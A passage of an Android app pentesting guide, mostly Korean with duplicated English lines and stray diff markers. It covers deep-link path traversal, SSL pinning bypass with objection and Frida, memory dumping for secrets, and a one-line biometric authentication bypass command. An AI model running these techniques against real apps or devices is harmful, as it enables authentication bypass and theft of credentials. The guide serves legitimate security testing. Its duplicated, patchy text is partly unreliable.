Service는 기본적으로 데이터를 **수신**하고 이를 **처리**하며 (응답을) **반환**(또는 반환하지 않음)할 수 있는 구성요소입니다. 따라서 애플리케이션이 일부 서비스를 export하고 있다면 해당 서비스가 무엇을 하는지 이해하기 위해 **코드**를 **확인**하고 기밀 정보를 추출하거나 인증 우회 등을 위해 **동적**으로 **테스트**해야 합니다.\
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 (응답을) **반환**할 수 있습니다. 따라서 애플리케이션이 일부 서비스를 export하고 있다면 무엇을 하는지 이해하기 위해 **코드**를 **확인**하고 기밀 정보를 추출하거나 인증 우회를 시도하기 위해 **동적으로** **테스트**해야 합니다.\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Broadcast Receiver의 동작은 `onReceive` 메서드에서 시작한다는 것을 기억하세요.
Remember that a the actions of a Broadcast Receiver start in the method `onReceive`.
브로드캐스트 리시버는 특정 유형의 메시지를 기다립니다. 리시버가 메시지를 처리하는 방식에 따라 취약해질 수 있습니다.\
브로드캐스트 리시버는 특정 타입의 메시지를 기다립니다. 리시버가 메시지를 처리하는 방식에 따라 취약해질 수 있습니다.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
딥링크를 수동으로 찾을 수도 있고, MobSF 같은 도구나 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 같은 스크립트를 사용할 수도 있습니다.\
선언된 scheme은 adb 또는 브라우저로 열 수 있습니다:
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
You can **open** a declared **scheme** using **adb** or a **browser**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_참고로 **패키지 이름을 생략할 수 있으며** 모바일이 해당 링크를 열 앱을 자동으로 호출합니다._
_참고로 패키지 이름을 **생략할 수 있으며**, 모바일이 해당 링크를 열 앱을 자동으로 호출합니다._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**앱에서 실행될 코드**
**실행되는 코드**
앱에서 **실행될 코드**를 찾으려면 deeplink에 의해 호출되는 activity로 이동하여 함수 **`onNewIntent`**를 검색하세요.
앱에서 **실행될 코드**를 찾으려면 deeplink가 호출하는 activity로 가서 함수 **`onNewIntent`**를 검색하세요.
![](<../../images/image (436) (1) (1) (1).png>)
**민감한 정보**
deep link를 찾을 때마다 해당 deep link가 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 받지 않는지** 확인하세요. 다른 어떤 애플리케이션도 **deep link를 사칭하여 그 데이터를 훔칠 수 있습니다!**
deep link를 찾을 때마다 URL 파라미터를 통해 비밀번호와 같은 **민감한 데이터가 전달되지 않는지 반드시 확인하세요**, 다른 애플리케이션이 해당 deep link를 **가로채어 그 데이터를 훔칠 수 있기 때문입니다!**
**경로 파라미터**
**경로 파라미터**
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
URL 경로 내부에 파라미터를 사용하는 deep link가 있는지 **반드시 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이런 경우 다음과 같이 path traversal을 강제할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
애플리케이션 내에서 올바른 엔드포인트를 찾으면 경로의 일부가 도메인 이름으로 사용되는 경우 **Open Redirect**를 유발할 수 있고, CSRF 토큰 없이 사용자 정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메소드를 사용했다면 **account takeover** 등을 발생시킬 수 있습니다. 자세한 내용은 [여기](http://dphoeniixx.com/2020/12/13-2/)를 참조하세요.
**추가 예시**
**More examples**
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### 전송 계층 검사 및 검증 실패
- **인증서가 항상 제대로 검사되는 것은 아니다** Android 애플리케이션에서는 경고를 무시하고 자체 서명 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 일이 흔합니다.
- **SSL/TLS 핸드셰이크 동안의 협상이 때때로 약하다**, 취약한 암호 모음을 사용합니다. 이 취약점은 MITM(man-in-the-middle) 공격에 노출되어 공격자가 데이터를 복호화할 수 있게 만듭니다.
- **Leakage of private information**는 애플리케이션이 보안 채널로 인증을 수행한 뒤 다른 트랜잭션에서 비보안 채널로 통신할 때 위험합니다. 이러한 접근 방식은 세션 쿠키나 사용자 정보와 같은 민감한 데이터를 악의적인 주체가 가로챌 수 있도록 합니다.
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
#### 인증서 검증
#### Certificate Verification
우리는 **인증서 검증**에 중점을 둡니다. 보안을 강화하려면 서버 인증서의 무결성을 검증해야 합니다. 이는 불안전한 TLS 구성과 암호화되지 않은 채널을 통한 민감한 데이터 전송이 심각한 위험을 초래할 수 있기 때문에 매우 중요합니다. 서버 인증서를 검증하고 취약점을 해결하는 자세한 단계는 [**this resource**](https://manifestsecurity.com/android-application-security-part-10/)에서 포괄적으로 안내합니다.
우리는 **certificate verification**에 초점을 맞출 것입니다. 서버 인증서의 무결성을 검증하는 것은 보안을 강화하는 데 매우 중요합니다. 불안전한 TLS 구성과 민감한 데이터를 암호화되지 않은 채널로 전송하는 것은 큰 위험을 초래할 수 있습니다. 서버 인증서 검증 및 취약점 대응에 대한 자세한 단계는 [**이 자료**](https://manifestsecurity.com/android-application-security-part-10/)에서 확인할 수 있습니다.
#### SSL Pinning
SSL Pinning은 애플리케이션이 서버의 인증서를 애플리케이션 내부에 저장된 알려진 사본과 대조하여 검증하는 보안 수단입니다. 이 방법은 MITM 공격을 방지하는 데 필수적입니다. 민감한 정보를 다루는 애플리케이션에는 SSL Pinning 구현을 강력히 권장합니다.
SSL Pinning은 애플리케이션이 서버의 인증서를 애플리케이션 내부에 저장된 알려진 복사본과 비교하여 검증하는 보안 기법입니다. 이 방법은 MITM 공격을 방지하는 데 필수적입니다. 민감한 정보를 취급하는 애플리케이션에는 SSL Pinning 구현을 강력히 권장합니다.
#### 트래픽 검사
#### Traffic Inspection
HTTP 트래픽을 검사하려면 프록시 도구의 인증서(예: Burp)를 **설치해야** 합니다. 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 보이지 않을 수 있습니다. 커스텀 CA 인증서 설치 가이드는 [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)를 참조하세요.
HTTP 트래픽을 검사하려면 프록시 도구의 인증서(예: Burp)를 **설치해야** 합니다. 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 보이지 않을 수 있습니다. 커스텀 CA 인증서 설치 가이드는 [**여기**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)를 참조하세요.
**API Level 24 and above**를 타깃으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 Network Security Config를 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. Network Security Config 수정 방법은 [**refer to this tutorial**](make-apk-accept-ca-certificate.md)를 참조하세요.
Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. 이 단계는 암호화된 트래픽을 검사할 때 매우 중요합니다. Network Security Config 수정 방법은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참고하세요.
If **Flutter**가 사용되는 경우 [**this page**](flutter.md)의 지침을 따라야 합니다. 단순히 인증서를 스토어에 추가하는 것만으로는 작동하지 않으며, Flutter는 자체적인 유효 CA 목록을 가지고 있기 때문입니다.
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
#### SSL/TLS pinning의 정적 탐지
#### Static detection of SSL/TLS pinning
런타임 우회 시도하기 전에 APK에서 pinning이 적용된 위치를 빠르게 매핑하세요. 정적 탐지는 훅/패치 계획을 세우고 올바른 코드 경로에 집중하는 데 도움이 됩니다.
런타임 우회 시도하기 전에 APK에서 pinning이 적용된 위치를 빠르게 매핑하세요. 정적 탐지는 훅/패치 계획을 세우고 올바른 코드 경로에 집중하는 데 도움이 됩니다.
Tool: SSLPinDetect
- 오픈소스 정적 분석 유틸리티로 APK를 Smali( via apktool )로 디컴파일하고 SSL/TLS pinning 구현에 대한 선별된 정규식 패턴을 스캔합니다.
- 각 일치 항목에 대해 정확한 파일 경로, 라인 번호 및 코드 스니펫을 보고합니다.
- 일반적인 프레임워크 및 커스텀 코드 경로를 포괄합니다: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
- Reports exact file path, line number, and a code snippet for each match.
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
설치
- 필수 요건: Python >= 3.8, Java on PATH, apktool
- Prereqs: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
@ -463,7 +463,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
예시 패턴 규칙 (JSON)
signatures를 사용하거나 확장하여 독점/커스텀 pinning 스타일을 탐지하세요. 자신의 JSON을 불러와 대규모로 스캔할 수 있습니다.
signatures를 사용하거나 확장하여 독점적/맞춤형 pinning 스타일을 탐지하세요. 자체 JSON을 로드하여 대규모로 scan할 수 있습니다.
```json
{
"OkHttp Certificate Pinning": [
@ -477,43 +477,43 @@ signatures를 사용하거나 확장하여 독점/커스텀 pinning 스타일을
]
}
```
Notes and tips
- 대형 앱을 빠르게 스캔하려면 멀티스레딩과 메모리 매핑 I/O를 사용하세요; 사전 컴파일된 regex는 오버헤드와 false positives를 줄여줍니다.
노트 및 팁
- 대형 앱을 multi-threading과 memory-mapped I/O로 빠르게 스캔; 미리 컴파일된 regex가 오버헤드/오탐을 줄여줌.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- 다음으로 분류할 일반적인 탐지 대상:
- 다음으로 우선 분류할 일반적인 탐지 대상:
- OkHttp: CertificatePinner 사용, setCertificatePinner, okhttp3/okhttp 패키지 참조
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted 오버라이드
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init 와 커스텀 매니저
- Declarative pins in res/xml network security config 및 manifest 참조
- 일치한 위치를 활용해 Frida hooks, static 패치 또는 설정 검토를 계획한 뒤 동적 테스트를 진행하세요.
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- 일치한 위치를 사용해 dynamic testing 전에 Frida hooks, static patches, 또는 config 검토를 계획하세요.
#### SSL Pinning 우회
SSL Pinning이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다:
앱에 SSL Pinning이 구현되어 있으면 HTTPS 트래픽을 검사하기 위해 이를 우회할 필요가 있다. 이를 위한 다양한 방법이 있다:
- 자동으로 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용해 **apk**를 **수정**하여 **SSLPinning**을 **우회**할 수 있습니다. 이 방법의 가장 큰 장점은 SSL Pinning을 우회하기 위해 root가 필요 없다는 점이지만, 애플리케이션을 삭제하고 새로 설치해야 하며 항상 동작하지는 않습니다.
- 아래에서 설명하는 **Frida**를 사용해 이 보호를 우회할 수 있습니다. Burp+Frida+Genymotion을 사용하는 가이드는 다음을 참고하세요: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **자동으로 SSL Pinning을 우회**하려면 [**objection**](frida-tutorial/objection-tutorial.md)**:** 를 사용해 보세요: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **자동으로 SSL Pinning을 우회**하려면 **MobSF dynamic analysis**(아래 설명 참조)를 시도할 수도 있습니다.
- 여전히 캡처하지 못하는 트래픽이 있다고 생각되면 **iptables를 사용해 트래픽을 Burp로 포워딩**해 보세요. 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 일반적인 Web 취약점 찾기
#### 일반적인 웹 취약점 탐색
애플리케이션 내에서 흔히 발생하는 Web 취약점도 반드시 검색해야 합니다. 이러한 취약점을 식별하고 완화하는 방법에 대한 자세한 내용은 이 요약의 범위를 벗어나지만 다른 곳에 광범위하게 설명되어 있습니다.
애플리케이션 내에서 일반적인 웹 취약점도 검색하는 것이 중요하다. 이러한 취약점을 식별하고 완화하는 자세한 정보는 이 요약의 범위를 벗어나지만 다른 곳에 광범위하게 다루어져 있다.
### Frida
[Frida](https://www.frida.re) 는 개발자, 리버스 엔지니어, 보안 연구원을 위한 dynamic instrumentation toolkit입니다.\
**실행 중인 애플리케이션에 접근해 런타임에 메서드를 hook하여 동작을 변경하거나 값 변경/추출, 다른 코드를 실행할 수 있습니다.**\
Android 애플리케이션을 pentest하려면 Frida 사용법을 알아야 합니다.
[Frida](https://www.frida.re) 는 개발자, 리버스 엔지니어, 보안 연구원을 위한 동적 계측 툴킷이다.\
**실행 중인 애플리케이션에 접근하여 런타임에 메서드를 hook하여 동작을 변경하거나 값을 변경/추출하고 다른 코드를 실행할 수 있다...**\
Android 애플리케이션을 pentest하려면 Frida 사용법을 알아야 다.
- Frida 사용법 배우기: [**Frida tutorial**](frida-tutorial/index.html)
- Frida 작업용 일부 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection은 Frida 사용 자동화에 유용합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 몇 가지 Frida 스크립트 모음은 여기에서 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에 설명된 대로 Frida를 로드해 anti-debugging / anti-frida 메커니즘을 우회해 보세요 (도구 [linjector](https://github.com/erfur/linjector-rs))
- Frida로 작업을 위한 일부 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 여기에서 몇몇 Awesome Frida 스크립트를 찾을 수 있다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- anti-debugging / anti-frida 메커니즘을 우회하려면 Frida를 다음에 안내된 방식으로 로드해 보세요: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (도구 [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -523,9 +523,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
### **메모리 덤프 - Fridump**
애플리케이션이 비밀번호나 니모닉 같은 저장해서는 안 되는 민감한 정보를 메모리에 저장하고 있는지 확인하세요.
애플리케이션이 메모리 안에 저장해서는 안 되는 비밀번호나 mnemonics 같은 민감한 정보를 저장하고 있는지 확인하세요.
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하면 앱의 메모리를 다음과 같이 덤프할 수 있습니다:
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -534,76 +534,76 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
것은 ./dump 폴더에 메모리를 덤프하며, 그 안에서 다음과 같이 grep할 수 있습니다:
명령은 메모리를 ./dump 폴더에 덤프하며, 그 안에서 다음과 같이 grep할 수 있습니다:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore의 민감한 데이터**
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션은 여기서 **평문으로 민감한 데이터를** 저장하는 경향이 있으므로, pentests는 root user로 검사를 수행해야 하며 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션은 여기서 **민감한 데이터를 평문으로 저장하는 경향이 있기 때문에**, pentests는 root user 권한으로 이를 확인해야 합니다. 장치에 물리적 접근이 가능한 사람도 이 데이터를 탈취할 수 있습니다.
앱이 keystore에 데이터를 저장하더라도, 해당 데이터는 암호화되어야 합니다.
앱이 Keystore에 데이터를 저장하더라도, 그 데이터는 암호화되어야 합니다.
keystore 내부의 데이터에 접근하려면 다음 Frida script를 사용할 수 있습니다: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Keystore 내부의 데이터에 접근하려면 다음 Frida script를 사용할 수 있습니다: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
다음 Frida 스크립트를 사용하면 Android 애플리케이션이 특정 민감 영역을 보호하기 위해 수행하는 **bypass fingerprint authentication**을 우회할 수 있습니다:
다음 Frida script를 사용하면 Android 애플리케이션이 특정 민감 영역을 보호하기 위해 수행하고 있을 수 있는 **bypass fingerprint authentication**을 우회할 수 있습니다:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **백그라운드 이미지**
애플리케이션을 백그라운드로 보낼 때, Android는 **애플리케이션의 스냅샷**을 저장합니다. 포그라운드로 복원될 때 앱 자체가 로드되기 전에 이미지를 먼저 불러와 앱이 더 빨리 로드된 것처럼 보이게 합니다.
애플리케이션을 백그라운드로 보낼 때, Android는 **snapshot of the application**을 저장합니다. 그래서 포그라운드로 복구될 때 앱보다 먼저 이미지를 불러와 앱이 더 빨리 로드된 것처럼 보입니다.
하지만 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람이 해당 정보를 **탈취할 수 있습니다** (접근하려면 root가 필요하다는 점에 유의하세요).
하지만 이 snapshot에 **민감한 정보**가 포함되어 있다면, snapshot에 접근할 수 있는 누군가가 그 정보를 **탈취할 수 있습니다**(접근하려면 root가 필요합니다).
스냅샷은 보통 다음 경로에 저장됩니다: **`/data/system_ce/0/snapshots`**
스냅샷은 보통 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
Android는 **FLAG_SECURE 레이아웃 파라미터를 설정하여 스크린샷 캡처를 방지**하는 방법을 제공합니다. 이 플래그를 사용하면 윈도우의 내용이 보안 처리되어 스크린샷에 나타나거나 비보안 디스플레이에서 표시되는 것을 방지합니다.
Android는 FLAG_SECURE 레이아웃 파라미터를 설정하여 **screenshot 캡처를 방지**할 수 있는 방법을 제공합니다. 이 플래그를 사용하면 창 내용이 보안 처리되어 스크린샷에 나타나거나 보안되지 않은 디스플레이에서 보여지는 것을 방지합니다.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
이 도구는 dynamic analysis 중 여러 도구를 관리하는 데 도움이 됩니다: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
이 도구는 동적 분석 중 여러 도구를 관리하는 데 도움이 될 수 있습니다: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
개발자들은 종종 Intent를 처리하고 `startActivity(...)``sendBroadcast(...)` 같은 메서드로 전달하는 proxy 컴포넌트(액티비티, 서비스, 브로드캐스트 리시버 등)를 만듭니다. 이는 위험할 수 있습니다.
개발자는 종종 이러한 Intent를 처리하고 `startActivity(...)``sendBroadcast(...)`와 같은 메소드로 전달하는 activity, service, broadcast receiver와 같은 프록시 컴포넌트를 만들며, 이는 위험할 수 있습니다.
공격자가 이러한 Intent를 잘못 유도하여 non-exported 앱 컴포넌트를 호출하거나 민감한 content providers에 접근할 수 있게 되는 것이 위험의 핵심입니다. 예를 들어 `WebView`가 URL을 `Intent` 객체로 변환하기 위해 `Intent.parseUri(...)`를 사용하고 이를 실행하면, 악의적인 Intent injection이 발생할 수 있습니다.
위험은 공격자가 이러한 Intent를 잘못 유도하여 export되지 않은 앱 구성요소를 트리거하거나 민감한 content providers에 접근할 수 있게 하는 데 있습니다. 예를 들어, `WebView` 컴포넌트가 URL을 `Intent.parseUri(...)``Intent` 객체로 변환한 뒤 이를 실행하면 악의적인 Intent injections로 이어질 수 있습니다.
### Essential Takeaways
### 핵심 요약
- **Intent Injection**은 웹의 Open Redirect 문제와 유사합니다.
- 공격은 `Intent` 객체를 extras로 전달해 리디렉션시켜 안전하지 않은 동작을 실행하게 만드는 방식으로 이뤄집니다.
- non-exported 컴포넌트와 content providers를 공격자에게 노출시킬 수 있습니다.
- `WebView`의 URL → `Intent` 변환은 의도치 않은 동작을 촉할 수 있습니다.
- 공격은 `Intent` 객체를 extras로 전달하여 이를 리다이렉트해 안전하지 않은 동작을 실행하도록 하는 방식으로 이루어집니다.
- 이는 export되지 않은 컴포넌트 및 content providers를 공격자에게 노출시킬 수 있습니다.
- `WebView`의 URL → `Intent` 변환은 의도치 않은 동작을 촉할 수 있습니다.
### Android Client Side Injections and others
### Android Client Side Injections 및 기타
아마 웹에서 이런 종류의 취약점을 접해보셨을 겁니다. Android 애플리케이션에서는 특히 다음 취약점들에 주의해야 합니다:
아마도 웹에서 이러한 유형의 취약점을 알고 있을 것입니다. Android 애플리케이션에서는 다음 취약점들에 특히 주의해야 합니다:
- **SQL Injection:** dynamic 쿼리나 Content-Providers를 다룰 때는 parameterized queries를 사용했는지 확인하세요.
- **JavaScript Injection (XSS):** 모든 WebViews에 대해 JavaScript 및 Plugin 지원이 비활성화되어 있는지 확인하세요(기본적으로 비활성). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews가 파일 시스템에 접근하지 못하도록 해야 합니다(기본적으로 허용됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: 많은 경우 Android 애플리케이션에서 세션을 종료해도 쿠키가 취소되지 않거나 디스크에 저장될 수 있습니다.
- **SQL Injection:** 동적 쿼리나 Content-Providers를 다룰 때는 파라미터화된 쿼리를 사용하고 있는지 확인하세요.
- **JavaScript Injection (XSS):** 모든 WebView에 대해 JavaScript와 Plugin 지원이 비활성화되어 있는지 확인하세요(기본적으로 비활성화됨). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebView는 파일 시스템 접근이 비활성화되어야 합니다(기본값은 활성화됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: 많은 경우 Android 애플리케이션이 세션을 종료할 때 쿠키가 해지되지 않거나 디스크에 저장될 수 있습니다.
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
## Automatic Analysis
## 자동 분석
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Static analysis**
**정적 분석**
![](<../../images/image (866).png>)
**Vulnerability assessment of the application**을 웹 기반 프런트엔드로 보기 좋게 수행합니다. dynamic analysis도 수행할 수 있으나 환경을 미리 준비해야 합니다.
**애플리케이션의 취약점 평가**는 보기 좋은 웹 기반 프론트엔드를 사용합니다. 동적 분석도 수행할 수 있습니다(단, 환경을 준비해야 합니다).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -613,41 +613,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### MobSF를 이용한 보조 동적 분석
### MobSF를 이용한 Assisted Dynamic analysis
**MobSF**는 Android의 **dynamic analysis**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker에서는 동작하지 않습니다). _참고: 먼저 genymotion에서 **VM을 시작**한 다음 **MobSF를 시작**해야 합니다._\
**MobSF**는 Android에서의 **Dynamic analysis**에 매우 유용하지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다(가상 머신이나 Docker는 작동하지 않습니다). _참고: 먼저 **genymotion**에서 VM을 시작한 다음 **MobSF**를 시작해야 합니다._\
**MobSF dynamic analyser**는 다음을 수행할 수 있습니다:
- **Dump application data** (URLs, 로그, 클립보드, 사용자가 찍은 스크린샷, "**Exported Activity Tester**"가 찍은 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이들 중 스크린샷을 제외한 모든 항목은 자동으로 수집됩니다. 스크린샷은 직접 촬영할 때만 저장되며, 모든 exported activities의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다.
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). 이들 중 스크린샷을 제외한 모든 항목은 자동으로 수집됩니다. 스크린샷은 원할 때 직접 찍거나 "**Exported Activity Tester**"를 눌러 모든 exported activities의 스크린샷을 얻어야 합니다.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
android **versions > 5**부터는 **Frida를 자동으로 시작**하고 전체 **proxy** 설정을 하여 트래픽을 **capture**합니다. 테스트 대상 애플리케이션의 트래픽만 캡처합니다.
android **versions > 5**에서는 **Frida**를 자동으로 시작하고 트래픽을 캡처하기 위해 전역 **proxy** 설정을 구성합니다. 캡처되는 트래픽은 테스트 중인 애플리케이션에서 발생하는 트래픽만 해당됩니다.
**Frida**
기본적으로 몇몇 Frida Scripts를 사용하여 **SSL pinning**, **root detection**, **debugger detection**을 우회하고 흥미로운 API를 **monitor**합니다.\
MobSF는 **invoke exported activities**를 실행하고 해당 활동들의 **screenshots**를 캡처하여 보고서에 **save**할 수도 있습니다.
기본적으로 몇몇 Frida Scripts를 사용 **SSL pinning**, **root detection**, **debugger detection**을 우회하고 흥미로운 API를 모니터링합니다.\
MobSF는 또한 **invoke exported activities**, 해당 활동의 **screenshots**을 캡처하고 리포트용으로 **save**할 수 있습니다.
